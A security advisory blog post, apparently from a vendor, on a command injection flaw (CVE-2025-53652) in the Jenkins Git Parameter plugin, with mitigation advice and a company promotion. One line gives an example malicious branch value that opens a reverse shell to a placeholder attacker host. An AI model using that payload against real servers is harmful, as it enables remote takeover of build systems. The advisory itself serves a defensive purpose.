A serious command injection flaw (CVE-2025-53652) in the Jenkins Git Parameter plugin has emerged as a critical risk to DevOps environments. Originally rated medium severity, researchers found the flaw enables remote code execution (RCE) through unchecked user-defined Git parameters that get executed in shell commands.
Approximately 15,000 internet-facing Jenkins servers lack authentication, making them highly susceptible to exploitation-even without credentials. The exploit can be executed remotely using specially crafted branch values (e.g., $(bash -c “bash &> /dev/tcp/attacker/port <&1”)), which grants shell access as the Jenkins user.
Worryingly, while patches are available, they can be disabled via a system property, meaning patched systems may remain vulnerable.. Detection is possible through network monitoring: SECURE alerts based on POST request patterns and malicious parameter values can help identify exploitation attempts.
Enterprise Risk and Industry Impact
This vulnerability is particularly dangerous for industries that rely on Jenkins for CI/CD operations-among them:
- Technology and Software Development
- Financial Services
- Manufacturing and Automation
- Healthcare IT Infrastructure
- Government Digital Services
A successful breach can lead to unauthorized control, sensitive data theft, build tampering, or disrupted deployments.
Immediate Security Recommendations
- Patch and Validate update the Git Parameter plugin and ensure safe parameter validation is enforced.
- Harden Jenkins Access require authentication on all servers and disable anonymous job builds.
- Monitor and Detect Anomalies set network alerts for suspicious build parameter injections and shell execution patterns.
- Review System Properties ensure no bypasses like allowAnyParameterValue-true are enabled.
- Test via Red Teaming include injection scenarios in your DevSecOps testing strategy.
Conclusion
The exposed vulnerability in the Jenkins Git Parameter plugin is a powerful reminder that CI/CD tools can no longer be trusted by default. Securing pipelines requires tight validation, rigorous monitoring, and ongoing threat modeling. Protecting these systems is essential to maintain operational integrity and data safety.
About COE Security
COE Security partners with organizations in financial services, healthcare, retail, manufacturing, and government to secure AI-powered systems and ensure compliance. Our offerings include:
- AI-enhanced threat detection and real-time monitoring
- Data governance aligned with GDPR, HIPAA, and PCI DSS
- Secure model validation to guard against adversarial attacks
- Customized training to embed AI security best practices
- Penetration Testing (Mobile, Web, AI, Product, IoT, Network & Cloud)
- Secure Software Development Consulting (SSDLC)
- Customized CyberSecurity Services
In addition, we help DevOps teams fortify CI/CD environments with plugin risk assessments, build pipeline threat modeling, and secure configuration reviews to protect against RCE threats and automation-level attacks.
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